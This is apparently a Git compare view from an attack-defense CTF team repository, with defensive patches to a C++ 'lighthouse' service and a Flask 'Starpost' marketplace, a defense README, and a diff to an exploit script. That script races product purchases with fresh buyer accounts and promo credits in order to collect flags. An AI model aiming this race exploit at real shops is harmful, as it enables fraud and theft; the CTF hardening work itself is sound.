Compare commits

..
Author SHA1 Message Date
TakuyaYagam1 a4c618e9f4 fix(lighthouse): preserve HTTP capacity under connection load 2026-10-25 16:52:37 +03:00
scandal 325879223f Merge pull request 'Fix/starpost cargo sla' (#17) from fix/starpost-cargo-sla into main
Reviewed-on: #17
2026-10-25 16:20:07 +03:00
scandalist-trash afabca2f1e Merge remote-tracking branch 'origin/main' into fix/starpost-cargo-sla 2026-10-25 09:17:54 -04:00
scandalist-trash 51e49ee46e starpost: preserve cargo checker window 2026-10-25 09:16:23 -04:00
TakuyaYagam1 5e5d5a0822 fix(lighthouse): extend bounded checker wait 2026-10-25 16:14:47 +03:00
TakuyaYagam1 f4738419eb fix(lighthouse): preserve checker capacity 2026-10-25 16:01:34 +03:00
scandal c9bf189f09 Merge pull request 'starpost: contain prestaged cargo buyers' (#16) from fix/starpost-cargo-defense into main
Reviewed-on: #16
2026-10-25 15:54:40 +03:00
TakuyaYagam1 2959f06049 fix(lighthouse): reject compiler floods 2026-10-25 15:51:47 +03:00
scandalist-trash b5bbafc664 starpost: contain prestaged cargo buyers 2026-10-25 08:49:26 -04:00
scandal b28069ecfc Merge pull request 'exploit(starpost): race cargo purchase window' (#15) from exploit/starpost-cargo-window into main
Reviewed-on: #15
2026-10-25 15:06:54 +03:00
scandalist-trash dad25bd00e exploit(starpost): race cargo purchase window 2026-10-25 08:02:57 -04:00
scandal e7e182e406 Merge pull request 'orbital-navigation: add legacy state sploit' (#14) from exploit/orbital-nondos into main
Reviewed-on: #14
2026-10-25 14:58:18 +03:00
9 changed files with 202 additions and 81 deletions

No files matched your search

+1
View File
@@ -7,6 +7,7 @@
- L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище. - L-01: истёкшие записи удаляются ограниченными порциями, отдельный журнал ограничен 512 KiB. Создание множества очередей всё ещё может расходовать хранилище.
- L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его. - L-04: журнал закрыт для процесса компилятора правами 0700/0600. Локально `#include` и `.incbin` больше не читают его.
- L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными. - L-05: формат шифрования и индивидуальные `read_key` сохранены для совместимости со старыми данными.
- L-06: одновременно работают не более двух компиляций; после исчерпания слотов допускается не более восьми ожидающих запросов и не более пятнадцати секунд ожидания, а лишние запросы получают `429`. Лимит выбран по наблюдаемой очереди: восемь работ при двух слотах и трёхсекундном пределе на compile/listing укладываются примерно в двенадцать секунд, тогда как checker ограничен тридцатью секундами. HTTP pool содержит 64-192 потока и ограниченную очередь 512. Таймаут чтения сокета сокращен до 250 мс, keep-alive timeout до одной секунды, keep-alive ограничен двумя запросами, а listen backlog увеличен до 1024. Это application-level ограничение емкости без прокси, IP-фильтрации или изменения API. Дорогая компиляция по-прежнему ограничена отдельно, поэтому дополнительные HTTP workers обслуживают короткие checker-запросы, а не увеличивают число `clang`. `clang` и `llvm-objdump` запускаются с низким CPU priority. Compose ограничивает процесс двумя CPU, 1 GiB памяти и 256 PID и автоматически перезапускает контейнер.
На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET. На одноразовых синтетических Docker-томах прошли сборка и проверка 253 условий после рестарта, включая старые сообщения и фильтр. Пассивное наблюдение официального CHECK 25.10.2026 показало `POST /filter` без ключа и ответ `403` прежнего образа; совместимость публичного вызова восстановлена в `143182a`, который входит в основу этого кандидата. Игровой том локальным тестом не проверялся. Изменение чтения более 128 сообщений также требует проверки CHECK/PUT/GET.
+4
View File
@@ -2,7 +2,11 @@ name: lighthouse
services: services:
lighthouse: lighthouse:
restart: unless-stopped
build: . build: .
pids_limit: 256
mem_limit: 1g
cpus: 2.0
ports: ports:
- "8085:8080" - "8085:8080"
volumes: volumes:
+11 -4
View File
@@ -23,12 +23,19 @@ class Slots {
std::mutex lock_; std::mutex lock_;
std::condition_variable room_; std::condition_variable room_;
int held_ = 0; int held_ = 0;
int waiting_ = 0;
int limit_; int limit_;
public: public:
explicit Slots(int limit) : limit_(limit) {} explicit Slots(int limit) : limit_(limit) {}
void acquire() { void acquire() {
std::unique_lock guard(lock_); std::unique_lock guard(lock_);
room_.wait(guard, [&] { return held_ < limit_; }); if (held_ >= limit_) {
if (waiting_ >= 8) throw Busy();
++waiting_;
bool available = room_.wait_for(guard, std::chrono::seconds(15), [&] { return held_ < limit_; });
--waiting_;
if (!available) throw Busy();
}
++held_; ++held_;
} }
void release() { void release() {
@@ -101,7 +108,7 @@ public:
bool cc() { bool cc() {
int status = legacy::system({ int status = legacy::system({
"/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit", "/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "2s", "/usr/bin/prlimit",
"--fsize=32768:32768", "--cpu=2:2", "--as=268435456:268435456", "--fsize=32768:32768", "--cpu=2:2", "--as=268435456:268435456",
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup", "/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
"--clear-groups", "--no-new-privs", "--bounding-set", "-all", "--clear-groups", "--no-new-privs", "--bounding-set", "-all",
@@ -127,7 +134,7 @@ public:
fs::copy_file(module_, artifact); fs::copy_file(module_, artifact);
result.path = artifact.string(); result.path = artifact.string();
int status = legacy::system({ int status = legacy::system({
"/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit", "/usr/bin/nice", "-n", "19", "/usr/bin/timeout", "-k", "1s", "1s", "/usr/bin/prlimit",
"--fsize=32768:32768", "--cpu=1:1", "--as=268435456:268435456", "--fsize=32768:32768", "--cpu=1:1", "--as=268435456:268435456",
"/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup", "/usr/bin/setpriv", "--reuid", "nobody", "--regid", "nogroup",
"--clear-groups", "--no-new-privs", "--bounding-set", "-all", "--clear-groups", "--no-new-privs", "--bounding-set", "-all",
@@ -140,7 +147,7 @@ public:
}; };
inline Artifact compile(const std::string& source) { inline Artifact compile(const std::string& source) {
static Slots slots(4); static Slots slots(2);
Slot slot(slots); Slot slot(slots);
Build build(source); Build build(source);
recipe::run(recipe::filter, build); recipe::run(recipe::filter, build);
+11
View File
@@ -1,3 +1,4 @@
#define CPPHTTPLIB_LISTEN_BACKLOG 1024
#include <httplib.h> #include <httplib.h>
#include "chronicle.hpp" #include "chronicle.hpp"
@@ -344,6 +345,16 @@ int main() {
try { try {
initialize(); initialize();
httplib::Server server; httplib::Server server;
// Connections are accepted before cpp-httplib can inspect their route. Keep
// enough short-lived workers for checker traffic during connection floods,
// but bound both the pool and its queue so overload cannot grow without
// limit. Expensive filter compilation has its own much smaller admission
// limit in compiler.hpp.
server.new_task_queue = [] { return new httplib::ThreadPool(64, 192, 512); };
server.set_keep_alive_max_count(2);
server.set_keep_alive_timeout(1);
server.set_read_timeout(0, 250000);
server.set_write_timeout(3, 0);
server.set_payload_max_length(32768); server.set_payload_max_length(32768);
server.set_pre_routing_handler([](const httplib::Request& request, httplib::Response& response) { server.set_pre_routing_handler([](const httplib::Request& request, httplib::Response& response) {
if (request.has_header("Range")) { if (request.has_header("Range")) {
+112 -61
View File
@@ -19,6 +19,8 @@ from datetime import datetime, timedelta, timezone
from email.utils import parsedate_to_datetime from email.utils import parsedate_to_datetime
from http.cookies import SimpleCookie from http.cookies import SimpleCookie
from ipaddress import ip_address from ipaddress import ip_address
from queue import Empty, Queue
from threading import Thread
from urllib.error import HTTPError, URLError from urllib.error import HTTPError, URLError
from urllib.parse import urlsplit, urlunsplit from urllib.parse import urlsplit, urlunsplit
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
@@ -57,6 +59,34 @@ class NoRedirects(HTTPRedirectHandler):
OPENER = build_opener(ProxyHandler({}), NoRedirects()) OPENER = build_opener(ProxyHandler({}), NoRedirects())
def start_task(function, *args) -> Queue:
result = Queue(maxsize=1)
def run():
try:
result.put((True, function(*args)))
except Exception as exc:
result.put((False, exc))
Thread(target=run, daemon=True).start()
return result
def task_result(result: Queue, deadline: float, wait_limit: float | None = None):
remaining = deadline - time.monotonic()
if wait_limit is not None:
remaining = min(remaining, wait_limit)
if remaining <= 0:
raise TimeoutError("run deadline exceeded")
try:
ok, value = result.get(timeout=remaining)
except Empty:
raise TimeoutError("parallel request timed out") from None
if not ok:
raise value
return value
def build_target(target: str) -> str: def build_target(target: str) -> str:
raw = target.strip() raw = target.strip()
if not raw: if not raw:
@@ -154,6 +184,75 @@ def fetch_attack_hints(target_host: str, deadline: float) -> set[int] | None:
return None return None
def prepare_buyer(target: str, deadline: float) -> tuple[str, int, str]:
marker = secrets.token_hex(8)
status, _, cookie = request_json(
target,
"/api/register",
deadline,
method="POST",
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
)
if status != 201 or not cookie:
raise ValueError(f"buyer registration returned HTTP {status}")
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
if status != 200 or not isinstance(account, dict):
raise ValueError(f"account returned HTTP {status}")
promo = account.get("promo")
user = account.get("user")
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("buyer promo missing")
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
raise ValueError("buyer balance missing")
status, credit, _ = request_json(
target,
"/api/promo/credit",
deadline,
method="POST",
payload={"code": promo["code"]},
cookie=cookie,
)
if status != 200 or not isinstance(credit, dict):
raise ValueError(f"promo credit returned HTTP {status}")
credited = credit.get("credited")
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
raise ValueError("invalid credited amount")
return cookie, user["balance"] + credited, promo["code"]
def buy_product(target: str, product_id: int, cookie: str, promo_code: str, deadline: float) -> tuple[int, object]:
status, order, _ = request_json(
target,
f"/api/products/{product_id}/buy",
deadline,
method="POST",
payload={},
cookie=cookie,
)
if status == 409 and isinstance(order, dict) and order.get("error") == "promo code must be invalidated":
status, invalidation, _ = request_json(
target,
"/api/promo/invalidate",
deadline,
method="POST",
payload={"code": promo_code},
cookie=cookie,
)
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
return status, invalidation
status, order, _ = request_json(
target,
f"/api/products/{product_id}/buy",
deadline,
method="POST",
payload={},
cookie=cookie,
)
return status, order
def parse_created_at(raw: object) -> datetime | None: def parse_created_at(raw: object) -> datetime | None:
if not isinstance(raw, str): if not isinstance(raw, str):
return None return None
@@ -219,11 +318,17 @@ def candidates(products: object, now: datetime | None = None, hint_ids: set[int]
def run_exploit(raw_target: str) -> tuple[list[str], int, int]: def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
target = build_target(raw_target) target = build_target(raw_target)
deadline = time.monotonic() + RUN_TIMEOUT deadline = time.monotonic() + RUN_TIMEOUT
buyer_task = start_task(prepare_buyer, target, deadline)
status, products, _ = request_json(target, "/api/products", deadline) products_task = start_task(request_json, target, "/api/products", deadline)
hints_task = start_task(fetch_attack_hints, urlsplit(target).hostname or "", deadline)
cookie, budget, promo_code = task_result(buyer_task, deadline)
status, products, _ = task_result(products_task, deadline)
if status != 200: if status != 200:
raise ValueError(f"catalog returned HTTP {status}") raise ValueError(f"catalog returned HTTP {status}")
hint_ids = fetch_attack_hints(urlsplit(target).hostname or "", deadline) try:
hint_ids = task_result(hints_task, deadline, 0.1)
except TimeoutError:
hint_ids = None
available = candidates(products, hint_ids=hint_ids) available = candidates(products, hint_ids=hint_ids)
if not available: if not available:
return [], 0, 0 return [], 0, 0
@@ -231,68 +336,12 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
flags: set[str] = set() flags: set[str] = set()
bought_count = 0 bought_count = 0
polls = 0 polls = 0
for product_id, price in available: for candidate_index, (product_id, price) in enumerate(available):
if time.monotonic() >= deadline: if time.monotonic() >= deadline:
break break
marker = secrets.token_hex(8)
status, _, cookie = request_json(
target,
"/api/register",
deadline,
method="POST",
payload={"username": f"market-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
)
if status != 201 or not cookie:
raise ValueError(f"buyer registration returned HTTP {status}")
status, account, _ = request_json(target, "/api/account", deadline, cookie=cookie)
if status != 200 or not isinstance(account, dict):
raise ValueError(f"account returned HTTP {status}")
promo = account.get("promo")
user = account.get("user")
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
raise ValueError("buyer promo missing")
if not isinstance(user, dict) or not isinstance(user.get("balance"), int):
raise ValueError("buyer balance missing")
budget = user["balance"]
status, credit, _ = request_json(
target,
"/api/promo/credit",
deadline,
method="POST",
payload={"code": promo["code"]},
cookie=cookie,
)
if status != 200 or not isinstance(credit, dict):
raise ValueError(f"promo credit returned HTTP {status}")
credited = credit.get("credited")
if not isinstance(credited, int) or isinstance(credited, bool) or credited < 0:
raise ValueError("invalid credited amount")
budget += credited
# Current Starpost checker uses credit -> invalidate -> purchase.
# Buying while a promo_codes row still exists now returns HTTP 409.
status, invalidation, _ = request_json(
target,
"/api/promo/invalidate",
deadline,
method="POST",
payload={"code": promo["code"]},
cookie=cookie,
)
if status != 200 or not isinstance(invalidation, dict) or invalidation.get("invalidated") is not True:
raise ValueError(f"promo invalidation returned HTTP {status}")
if price > budget: if price > budget:
continue continue
status, order, _ = request_json( status, order = buy_product(target, product_id, cookie, promo_code, deadline)
target,
f"/api/products/{product_id}/buy",
deadline,
method="POST",
payload={},
cookie=cookie,
)
if status != 201 or not isinstance(order, dict): if status != 201 or not isinstance(order, dict):
continue continue
order_id = order.get("id") order_id = order.get("id")
@@ -318,6 +367,8 @@ def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
break break
if flags: if flags:
break break
if candidate_index + 1 < len(available):
cookie, budget, promo_code = prepare_buyer(target, deadline)
return sorted(flags), bought_count, polls return sorted(flags), bought_count, polls
+46 -13
View File
@@ -13,7 +13,12 @@ from flask import Flask, jsonify, request, send_file, session
from werkzeug.security import check_password_hash, generate_password_hash from werkzeug.security import check_password_hash, generate_password_hash
from contracts import CONTRACT_DIR, create_contract from contracts import CONTRACT_DIR, create_contract
from database import connect as db, migrate from database import (
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
CARGO_PURCHASE_WINDOW_SECONDS,
connect as db,
migrate,
)
from warehouse_client import CALLBACK_TOKEN as WAREHOUSE_CALLBACK_TOKEN from warehouse_client import CALLBACK_TOKEN as WAREHOUSE_CALLBACK_TOKEN
from warehouse_client import get_health as get_warehouse_health from warehouse_client import get_health as get_warehouse_health
from warehouse_client import submit_jobs as submit_warehouse_jobs from warehouse_client import submit_jobs as submit_warehouse_jobs
@@ -29,7 +34,6 @@ app.config.update(
) )
CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf") CONTRACT_FILENAME_RE = re.compile(r"contract-([0-9]+)-[0-9a-f]{16}\.pdf")
CARGO_PURCHASE_WINDOW_SECONDS = 2
migrate() migrate()
@@ -523,9 +527,32 @@ def update_cart_quantity(product_id):
return jsonify(ok=True, quantity=quantity) return jsonify(ok=True, quantity=quantity)
def create_order(cur, buyer_id, product_id, price, tracking, buyer_created_at, product_created_at):
cur.execute(
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code,cargo_entitled) "
"VALUES(%s,%s,%s,'pending',%s,%s >= %s AND "
"%s <= %s + (%s * interval '1 second') AND "
"CURRENT_TIMESTAMP <= %s + (%s * interval '1 second')) RETURNING id",
(
buyer_id,
product_id,
price,
tracking,
buyer_created_at,
product_created_at,
buyer_created_at,
product_created_at,
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS,
product_created_at,
CARGO_PURCHASE_WINDOW_SECONDS,
),
)
return cur.fetchone()["id"]
def order_product(product_id): def order_product(product_id):
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT p.*,u.balance FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"])) cur.execute("SELECT p.*,u.balance,u.created_at buyer_created_at FROM products p CROSS JOIN users u WHERE p.id=%s AND p.is_active=true AND u.id=%s FOR UPDATE OF u", (product_id, session["user_id"]))
row = cur.fetchone() row = cur.fetchone()
if not row: if not row:
return None, error("product not found", 404) return None, error("product not found", 404)
@@ -536,8 +563,8 @@ def order_product(product_id):
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"])) cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (row["price"], row["seller_id"])) cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (row["price"], row["seller_id"]))
tracking = "ORB-" + secrets.token_hex(8).upper() tracking = "ORB-" + secrets.token_hex(8).upper()
cur.execute("INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id", (session["user_id"], product_id, row["price"], tracking)) order_id = create_order(cur, session["user_id"], product_id, row["price"], tracking, row["buyer_created_at"], row["created_at"])
return {"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking}, None return {"id": order_id, "status": "pending", "tracking_code": tracking}, None
@app.post("/api/products/<int:product_id>/buy") @app.post("/api/products/<int:product_id>/buy")
@@ -554,11 +581,12 @@ def buy_product(product_id):
@auth("buyer") @auth("buyer")
def checkout(): def checkout():
with db() as conn, conn.cursor() as cur: with db() as conn, conn.cursor() as cur:
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],)) cur.execute("SELECT balance,created_at buyer_created_at FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
buyer = cur.fetchone() buyer = cur.fetchone()
cur.execute( cur.execute(
""" """
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity SELECT p.id product_id,p.seller_id,p.price,p.is_active,
p.created_at product_created_at,c.quantity
FROM cart_items c JOIN products p ON p.id=c.product_id FROM cart_items c JOIN products p ON p.id=c.product_id
WHERE c.buyer_id=%s ORDER BY c.created_at WHERE c.buyer_id=%s ORDER BY c.created_at
""", """,
@@ -578,11 +606,16 @@ def checkout():
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (item["price"] * item["quantity"], item["seller_id"])) cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (item["price"] * item["quantity"], item["seller_id"]))
for _ in range(item["quantity"]): for _ in range(item["quantity"]):
tracking = "ORB-" + secrets.token_hex(8).upper() tracking = "ORB-" + secrets.token_hex(8).upper()
cur.execute( order_id = create_order(
"INSERT INTO orders(buyer_id,product_id,price,status,tracking_code) VALUES(%s,%s,%s,'pending',%s) RETURNING id", cur,
(session["user_id"], item["product_id"], item["price"], tracking), session["user_id"],
item["product_id"],
item["price"],
tracking,
buyer["buyer_created_at"],
item["product_created_at"],
) )
orders.append({"id": cur.fetchone()["id"], "status": "pending", "tracking_code": tracking}) orders.append({"id": order_id, "status": "pending", "tracking_code": tracking})
cur.execute("DELETE FROM cart_items WHERE buyer_id=%s", (session["user_id"],)) cur.execute("DELETE FROM cart_items WHERE buyer_id=%s", (session["user_id"],))
submit_warehouse_jobs(orders) submit_warehouse_jobs(orders)
return jsonify(orders=orders), 201 return jsonify(orders=orders), 201
@@ -596,11 +629,11 @@ def buyer_orders():
"SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at," "SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,"
"o.tracking_code,o.price,o.created_at,o.delivered_at,p.name," "o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,"
"CASE WHEN o.status='delivered' " "CASE WHEN o.status='delivered' "
"AND o.created_at <= p.created_at + (%s * interval '1 second') " "AND o.cargo_entitled "
"THEN p.cargo ELSE NULL END cargo " "THEN p.cargo ELSE NULL END cargo "
"FROM orders o JOIN products p ON p.id=o.product_id " "FROM orders o JOIN products p ON p.id=o.product_id "
"WHERE o.buyer_id=%s ORDER BY o.id DESC", "WHERE o.buyer_id=%s ORDER BY o.id DESC",
(CARGO_PURCHASE_WINDOW_SECONDS, session["user_id"]), (session["user_id"],),
) )
return jsonify(cur.fetchall()) return jsonify(cur.fetchall())
+12
View File
@@ -5,6 +5,9 @@ from psycopg.rows import dict_row
DATABASE_URL = os.environ["DATABASE_URL"] DATABASE_URL = os.environ["DATABASE_URL"]
CARGO_BUYER_REGISTRATION_WINDOW_SECONDS = 3
CARGO_PURCHASE_WINDOW_SECONDS = 5
LEGACY_CARGO_PURCHASE_WINDOW_SECONDS = 2
def connect(): def connect():
@@ -28,6 +31,15 @@ def migrate():
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_status TEXT NOT NULL DEFAULT 'queued'") cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_status TEXT NOT NULL DEFAULT 'queued'")
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_job_id TEXT") cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_job_id TEXT")
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()") cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()")
cursor.execute("ALTER TABLE orders ADD COLUMN IF NOT EXISTS cargo_entitled BOOLEAN")
cursor.execute(
"UPDATE orders o SET cargo_entitled="
"(o.created_at <= p.created_at + (%s * interval '1 second')) "
"FROM products p WHERE p.id=o.product_id AND o.cargo_entitled IS NULL",
(LEGACY_CARGO_PURCHASE_WINDOW_SECONDS,),
)
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET DEFAULT false")
cursor.execute("ALTER TABLE orders ALTER COLUMN cargo_entitled SET NOT NULL")
cursor.execute( cursor.execute(
""" """
CREATE TABLE IF NOT EXISTS promo_codes ( CREATE TABLE IF NOT EXISTS promo_codes (
+1
View File
@@ -38,6 +38,7 @@ CREATE TABLE orders (
,warehouse_status TEXT NOT NULL DEFAULT 'queued' ,warehouse_status TEXT NOT NULL DEFAULT 'queued'
,warehouse_job_id TEXT ,warehouse_job_id TEXT
,warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now() ,warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
,cargo_entitled BOOLEAN NOT NULL DEFAULT false
); );
CREATE TABLE reviews ( CREATE TABLE reviews (
id BIGSERIAL PRIMARY KEY, id BIGSERIAL PRIMARY KEY,
+4 -3
View File
@@ -44,7 +44,7 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Minimal patch ## Minimal patch
- Emergency cargo containment returns delivered cargo only for orders created within two seconds of product creation. In 62 observed checker-like flows the purchase delay was 0.232-0.563 seconds. The order, warehouse, and historical read paths remain unchanged; late purchases return the existing order shape with `cargo=null`. This is a timing-based containment measure, not a durable authorization boundary. - Emergency cargo containment records a `cargo_entitled` decision on every new order. The buyer account must be created from zero to three seconds after the product, and the order transaction must begin within five seconds of product creation. Live checker-like failures showed buyers created after 1.021 and 1.971 seconds but orders beginning after 2.517 and 3.486 seconds, so the previous two-second purchase deadline denied otherwise valid delivered orders. A pre-staged buyer observed on a later product remained ineligible even though its order began after 0.293 seconds. Both direct buy and checkout use the same order helper. Existing entitlement decisions are immutable, and legacy orders are still backfilled with the previous two-second rule so their current/get-old behavior does not change. This is containment against pre-staged and late-created buyers, not a durable authorization boundary: an attacker that registers immediately after publication can still race the checker.
- Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged. - Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged.
- Contract GET/POST validates ownership-shaped input before database access, resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. A bounded cache avoids repeated owner lookups for immutable contract metadata. GET without `file`, GET with an empty `file`, GET with the exact stored filename, and the own-ID alias remain supported. - Contract GET/POST validates ownership-shaped input before database access, resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. A bounded cache avoids repeated owner lookups for immutable contract metadata. GET without `file`, GET with an empty `file`, GET with the exact stored filename, and the own-ID alias remain supported.
- `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue. - `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue.
@@ -53,7 +53,7 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Checker and SLA invariants ## Checker and SLA invariants
- Existing checker orders created inside the two-second window continue to reveal cargo after delivery and on later get-old checks. The rule is per order, so an earlier attacker order does not consume checker access. - Existing orders retain their previous cargo visibility after migration. New checker orders whose buyer was created within three seconds after the product and whose order transaction began within five seconds continue to reveal cargo after delivery and on later get-old checks. New purchases of older product IDs receive `cargo=null`; entitlement is stored per order, so changing deadlines later cannot reopen an old denied order and an earlier attacker order does not consume checker access.
- Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged. - Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged.
- Existing contract filenames and files are not renamed or migrated. - Existing contract filenames and files are not renamed or migrated.
- Existing promo rows receive `credited_at=NULL` and remain redeemable once. - Existing promo rows receive `credited_at=NULL` and remain redeemable once.
@@ -69,6 +69,7 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
- Contract exhaustion regression: the pinned baseline-versus-patch matrix confirmed that foreign GET and POST probes no longer touch the database, repeated valid reads perform at most one owner lookup per process, and all preserved GET forms remain byte-identical. A separate PostgreSQL 16 integration run passed registration, login, current/get-old reads, foreign rejection, and own deletion. - Contract exhaustion regression: the pinned baseline-versus-patch matrix confirmed that foreign GET and POST probes no longer touch the database, repeated valid reads perform at most one owner lookup per process, and all preserved GET forms remain byte-identical. A separate PostgreSQL 16 integration run passed registration, login, current/get-old reads, foreign rejection, and own deletion.
- Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once. - Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once.
- Purchase SLA regression: current `main` reproduced HTTP 409 with an uncredited promo row; the patched PostgreSQL route matrix passed direct buy before credit, direct buy after credit without invalidate, checkout after credit without invalidate, the existing invalidate flow, and preserved insufficient-balance and archived-product errors. - Purchase SLA regression: current `main` reproduced HTTP 409 with an uncredited promo row; the patched PostgreSQL route matrix passed direct buy before credit, direct buy after credit without invalidate, checkout after credit without invalidate, the existing invalidate flow, and preserved insufficient-balance and archived-product errors.
- Cargo entitlement regression: a disposable PostgreSQL 16 and patched Flask API matrix accepted the two live-derived checker timings through direct buy and checkout, rejected a pre-staged buyer, rejected registration after three seconds, rejected purchase after five seconds, preserved get-old, and kept a denied order denied after timestamps changed. Only synthetic non-flag markers were used.
- Python syntax parsing and `docker compose config --quiet` pass. - Python syntax parsing and `docker compose config --quiet` pass.
- `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments. - `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments.
- The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout. - The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout.
@@ -96,7 +97,7 @@ The local baseline reproducer started with a synthetic balance of 100 and two id
## Remaining gaps ## Remaining gaps
- The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed. - The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed.
- Full service-container rebuild, persistent-volume get-old, and checker status were not tested. The PostgreSQL route integration used a temporary database initialized from `db/init.sql` and synthetic contract files. - The API image and disposable PostgreSQL integration were tested, but the full service Compose stack, the live persistent volume, and official checker status were not. The integration used a temporary database initialized from `db/init.sql` and synthetic contract files.
- The contract metadata cache is process-local. If an operator manually changes or restores `users.contract_file`, restart the API workers before verification so they reload that metadata. - The contract metadata cache is process-local. If an operator manually changes or restores `users.contract_file`, restart the API workers before verification so they reload that metadata.
- Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team. - Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team.
